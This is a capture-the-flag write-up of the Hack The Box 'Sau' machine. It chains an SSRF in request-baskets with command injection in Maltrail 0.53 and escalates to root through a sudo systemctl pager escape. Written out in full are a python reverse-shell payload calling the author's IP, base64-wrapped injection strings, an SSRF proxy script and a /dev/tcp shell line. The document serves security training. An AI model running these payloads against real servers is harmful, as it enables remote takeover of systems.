Post

Sau (HTB-Easy)

Box Release Date: July 7, 2023

Machine Summary

This is an easy-level linux machine that has a SSRF vulnerability in the request-basket application that requires you to utilize verb-tampering to upload a shell successfully. Once you have a shell on the box you need to exploit improperly set permissions on the systemctl binary to get root.

Reconnaissance

As usual I start the box off with a Rustscan scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
h0ax@h0ax:~/sau$ rustscan -a 10.10.11.224 -b 500 -t 500
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 924'.
Open 10.10.11.224:22
Open 10.10.11.224:55555
[~] Starting Script(s)
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-14 22:14 UTC
Initiating Ping Scan at 22:14
Scanning 10.10.11.224 [2 ports]
Completed Ping Scan at 22:14, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:14
Completed Parallel DNS resolution of 1 host. at 22:14, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 22:14
Scanning 10.10.11.224 [2 ports]
Discovered open port 22/tcp on 10.10.11.224
Discovered open port 55555/tcp on 10.10.11.224
Completed Connect Scan at 22:14, 0.08s elapsed (2 total ports)
Nmap scan report for 10.10.11.224
Host is up, received conn-refused (0.094s latency).
Scanned at 2023-07-14 22:14:06 UTC for 0s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack
55555/tcp open  unknown syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

Interesting, we have a high ephemeral port with some sort of service running on it. Let’s see what we can find.

I ran a NMAP scan on port 55555 to see what I could find and saw the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
h0ax@h0ax:~/sau$ sudo nmap -p 55555 -sSCV -Pn --script vuln sau.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-14 18:15 EDT
Nmap scan report for sau.htb (10.10.11.224)
Host is up (0.036s latency).

PORT      STATE SERVICE VERSION
55555/tcp open  unknown
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Fri, 14 Jul 2023 22:15:49 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Fri, 14 Jul 2023 22:15:20 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Fri, 14 Jul 2023 22:15:21 GMT
|_    Content-Length: 0

It appears that this service uses HTTP so let’s put http://10.10.11.224:55555 into a web browser and see what we get (I recommend adding th IP to your hosts file).

We get the following which appears to be a landing page for a site that allows you create multiple http requests and inspect them.

req-basket-landing-page

creating-endpoint

result-of-creating-endpoint

I ran the following curl command (GET request) to get the last screenshot (obviously your endpoint will be different unless you create the same one as me)

1
curl -i -k http://sau.htb:55555/h0axisthebesthacker

running-curl-result

Looking at the page source code, I found a link to a github project called request-basket. It shares the same name as the site so this is definitely what we need to be taking a peak at. There also is a version number (1.2.1), I am going to do a quick search and see if there is something vulnerable with this version.

As suspected, the version is vulnerable to Server-Side-Request-Forgery. This means that we can craft a HTTP request that we control to perform a desired action on the target machine. This was the first site that I found that listed the vulnerability, https://vulners.com/github/GHSA-58G2-VGPG-335Q.

Before I dig into SSRF vulnerability deeper, I am going to take a quick peek at Wappalyzer to see if there is anything interesting running in the tech stack for this site. After looking, I did not see anything of note.

wappa-findings

SSRF for Request-Basket Explained

This site has a fantastic explanation of the vulnerability in the Request-Basket application. What essentially is happening is that the /api/baskets/ endpoint is susceptible to SSRF. The site uses the following payload to make the target redirect the request:

1
2
3
4
5
6
7
{
  "forward_url": "http://127.0.0.1:80/test",
  "proxy_response": false,
  "insecure_tls": false,
  "expand_path": true,
  "capacity": 250
}

I created an endpoint called test1 and used Burp Suite to post it to the target:

create-test1

Doing this gets a token. We are going to have to couple this SSRF vulnerability with something else to do further reconnaissance or get a foothold on the box.

Shell as puma

After a bit of playing around, I was finally able understand how to get the exploit to work. First thing that we are going to need to do is fire up Burp (if you have not already) and create a new http endpoint/basket, and then capture the creation in Burp (I made a new enpoint called 12345 to replace test).

burp-ssrf-1

After doing this and setting things in the payload as to what I have them set in the above screenshot, then visit the URL that it creates for your request endpoint. Since the target does not block external entities from setting the forward path to the localhost, we can now access a mail-server that is running on port 80.

ssrf-mail-server

** MailTrail Not Loading Due To JS & CSS Errors **

boken-css-js

You may run into the error of the CSS and JS not working when you visit the proxied service. To fix this run the following python script and fix the variables at the top to reflect your basket name and token. This script was taken from Fred K.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
import requests
import mimetypes
import posixpath 

basket = 'pwnd'  
path = '/'  
ip = '10.10.11.224'  
token = 'KWtVsWniXGUdzAjx3tOYTSmzrfCbdSGa2vo23HPKaiTd' 

def change_forward_url(path):
    url = f'http://' + ip + ':55555/api/baskets/' + basket 
    headers = {
        'Authorization': token
    }
    data = {
        'forward_url': 'http://127.0.0.1:80' + path,
        'proxy_response': True,
        'insecure_tls': True,
        'expand_path': True,
        'capacity': 250
    }

    response = requests.put(url, headers=headers, json=data)

    if response.status_code == 204:
        print('Changing forward URL - http://127.0.0.1:80', path)
        return True
    else:
        print('An error occurred while executing the request.')
        print('Status code:', response.status_code)
        print('Response text:', response.text)
        return False

def get_request(path):
    change_forward_url(path)
    url = f'http://' + ip + ':55555/' + basket 

    response = requests.get(url)

    if response.status_code == 200:
        print('Geting get request',path)
        return response
    else:
        print('An error occurred while executing the GET request.')
        print('Status code:', response.status_code)

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path
        html = get_request(path)
        content_type = self.guess_type(path)

        self.send_response(200)
        self.send_header('Content-type', content_type)
        self.end_headers()
        self.wfile.write(html.content)

    def guess_type(self, path):
        base, ext = posixpath.splitext(path)
        if ext in mimetypes.types_map:
            return mimetypes.types_map[ext]
        return 'application/octet-stream'

def start_server():
    server_address = ('', 1337)
    httpd = HTTPServer(server_address, RequestHandler)
    print('Server running...')
    httpd.serve_forever()

start_server()

Shell as puma Continued

I did not change the forward URL from the payload that I found online and was lucky that the port I used (port 80) was the same as the as the one used for the service on the target. To port scan through a netcat listener, what you need to do for this box is create a basket, then set the forward url to the IP of your machine and then add the port you are going to use to start a netcat listener.

For me I did the following: http://10.10.27.32:8888

Then you will want to visit the url of the new basket after you start your netcat listener. Once you do this then you will want to run the following nmap command:

1
2
3
4
5
6
7
8
9
10
nmap --top-ports=50 -Pn --proxy http://127.0.0.1:8888 sau.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-16 23:56 EDT
Nmap scan report for sau.htb (10.10.11.224)
Host is up (0.073s latency).
Not shown: 48 closed ports
PORT   STATE    SERVICE
22/tcp open     ssh
80/tcp filtered http

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

As you can see from the above output, we found a service running on port 80 that we previously could not see when we ran our initial port scan.

Now let’s get back to figuring out what we can about the mailtrail service running on the machine and see if we can exploit it.

As we can see on the landing page the version for MailTrail is 0.53. A quick search found that this version is vulnerable to command injection in the username parameter. The application is built using python so that means an attacker can leverage the OS module in python to inject all sorts of commands on the target.

The POC payload is as follows:

1
2
curl 'http://hostname:8338/login' \
  --data 'username=;`id > /tmp/bbq`'

I did some testing using the above command and tried reading the contents of /etc/passwd and the id command but was not successful in getting any results via the cli or using Burp’s repeater.

One thing I noticed is that having a request that looks like the following, will not work at all since the exploit requires a POST request to be made but when we attempt to auth we are using a GET request.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /index.html
Host: 127.0.0.1:1337
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=%3b`ping+-c+5+your_ip`

To bypass this we will utilize verb tampering. This simply just requires you to put the payload in the initial GET URL as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /index.html?username=%3b`ping+-c+5+your_ip`
Host: 127.0.0.1:1337
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

The exploit POC I was looking at was from this site. Looking at the exploit it uses the /login endpoint so I decided to turn on Burp’s proxy to intercept traffic and try again focusing on this endpoint. Below is the request I intercepted and sent to repeater (I changed the GET endpoint from /index.html to /login)

ping-poc

To get this to work you will need to url-encode the parameter for username and then start tcpdump on your machine. The command I used was sudo tcpdump -i tun0

Now send the request from Burp and watch tcpdump for ICMP traffic.

I was able to see ping requests made from the target machine! That means we can inject code >:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
h0ax@h0ax:~/sau$ sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:48:49.380641 IP sau.htb > h0ax: ICMP echo request, id 3, seq 876, length 64
01:48:49.380667 IP h0ax > sau.htb: ICMP echo reply, id 3, seq 876, length 64
01:48:50.379952 IP sau.htb > h0ax: ICMP echo request, id 3, seq 877, length 64
01:48:50.379976 IP h0ax > sau.htb: ICMP echo reply, id 3, seq 877, length 64
01:48:51.381688 IP sau.htb > h0ax: ICMP echo request, id 3, seq 878, length 64
01:48:51.381713 IP h0ax > sau.htb: ICMP echo reply, id 3, seq 878, length 64
01:48:52.382594 IP sau.htb > h0ax: ICMP echo request, id 3, seq 879, length 64
01:48:52.382616 IP h0ax > sau.htb: ICMP echo reply, id 3, seq 879, length 64
01:48:53.379058 IP h0ax.42672 > 32.121.122.34.bc.googleusercontent.com.http: Flags [S], seq 821141152, win 64240, options [mss 1460,sackOK,TS val 1947136273 ecr 0,nop,wscale 7], length 0
01:48:53.385371 IP sau.htb > h0ax: ICMP echo request, id 3, seq 880, length 64
01:48:53.385396 IP h0ax > sau.htb: ICMP echo reply, id 3, seq 880, length 64
01:48:54.386395 IP sau.htb > h0ax: ICMP echo request, id 3, seq 881, length 64
01:48:54.386420 IP h0ax > sau.htb: ICMP echo reply, id 3, seq 881, length 64
01:48:55.388481 IP sau.htb > h0ax: ICMP echo request, id 3, seq 882, length 64
01:48:55.388505 IP h0ax > sau.htb: ICMP echo reply, id 3, seq 882, length 64
^C
15 packets captured
15 packets received by filter
0 packets dropped by kernel

Now let’s try to get a reverse shell spawned on the box. Hacktricks.xyz has a great post on reverse shells, navigate to the section on python reverse shells to get an understanding on building python reverse shell payloads https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux.

I used the first line for the payload:

1
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

I first tried the payload:

1
 /login?username=;`export RHOST="YOUR_IP";export RPORT=YOUR_PORT;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'`

This did not work sadly. Usually my next go to is to base64 encode the payload and use the following logic flow to get a shell: echo “base64_encoded_payload” | base64 -d | sh

My final payload looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
base64 payload:

decoded: 

export RHOST="10.10.27.32";export RPORT=9999;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

encoded:

cmd= echo "export RHOST...." | base64

ZXhwb3J0IF.....

-----------------------------------------------------------------

full payload:

/login?username=%3b`echo+"ZXhwb3J0IF....."+|+base64+-d+|+sh`

What it looks like in Burp:

shell-payload

I started a netcat listener and ran the exploit and got a reverse shell! I upgraded my shell to a full tty as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
h0ax@h0ax:~/sau$ nc -vlnp 9999
Listening on 0.0.0.0 9999
Connection received on 10.10.11.224 42068
$ id
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
puma@sau:/opt/maltrail$ ^Z
[1]+  Stopped                 nc -vlnp 9999
h0ax@h0ax:~/sau$ stty raw -echo;fg
nc -vlnp 9999
             screen
Please set a terminal type.
puma@sau:/opt/maltrail$ export TERM=xterm
puma@sau:/opt/maltrail$

You have the ability to read the user flag too!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
puma@sau:~$ ls -alh
total 3.8M
drwxr-xr-x 4 puma puma 4.0K Jul 17 07:35 .
drwxr-xr-x 3 root root 4.0K Apr 15 09:17 ..
lrwxrwxrwx 1 root root    9 Apr 14 17:46 .bash_history -> /dev/null
-rw-r--r-- 1 puma puma  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 puma puma 3.7K Feb 25  2020 .bashrc
drwx------ 2 puma puma 4.0K Apr 15 09:42 .cache
drwx------ 3 puma puma 4.0K Jul 17 07:19 .gnupg
-rw------- 1 puma puma   38 Jul 17 07:35 .lesshst
-rw-r--r-- 1 puma puma  807 Feb 25  2020 .profile
lrwxrwxrwx 1 puma puma    9 Apr 15 09:41 .viminfo -> /dev/null
lrwxrwxrwx 1 puma puma    9 Apr 15 09:41 .wget-hsts -> /dev/null
-rw-r----- 1 root puma   33 Jul 17 06:05 user.txt
puma@sau:~$ cat user.txt 
7c01d6d..... never_gonna_give_you_up ;)
puma@sau:~$ 

Privlege Escalation to Root

As usual I uploaded linpeas to the box and ran it. The line in the script that caught my eye was the following:

1
2
User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

This means that the puma user has the ability to run the systemctl binary on the mailtrail application as root. GTFOBins is one of the places I go to find priv-esc info on different linux binaries and the site has a great page on privlege escaltion for systemctl https://gtfobins.github.io/gtfobins/systemctl/.

Section C actually works on this so getting root is very trivial. All you have to do is run the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Mon 2023-07-17 06:05:08 UTC; 1h 30min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 891 (python3)
      Tasks: 35 (limit: 4662)
     Memory: 1.8G
     CGroup: /system.slice/trail.service
             ├─  891 /usr/bin/python3 server.py
             ├─ 1145 /bin/sh -c logger -p auth.info -t "maltrail[891]" "Failed >
             ├─ 1146 /bin/sh -c logger -p auth.info -t "maltrail[891]" "Failed >
             ├─ 1149 sh
             ├─ 1150 python3 -c import sys,socket,os,pty;s=socket.socket();s.co>
             ├─ 1151 sh
             ├─ 1159 python3 -c import pty;pty.spawn("/bin/bash")
             ├─ 1160 /bin/bash
             ├─ 7728 gpg-agent --homedir /home/puma/.gnupg --use-standard-socke>
             ├─15128 /bin/sh -c logger -p auth.info -t "maltrail[891]" "Failed >
             ├─15129 /bin/sh -c logger -p auth.info -t "maltrail[891]" "Failed >
             ├─15131 bash
             ├─15132 bash -c 0<&133-;exec 133<>/dev/tcp/10.10.14.14/443;sh <&13>
             ├─15133 sh
!sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
e9090b5f0f615..... ur_turn :)

We got root!

Happy hacking!

  • h0ax <3
This post is licensed under CC BY 4.0 by the author.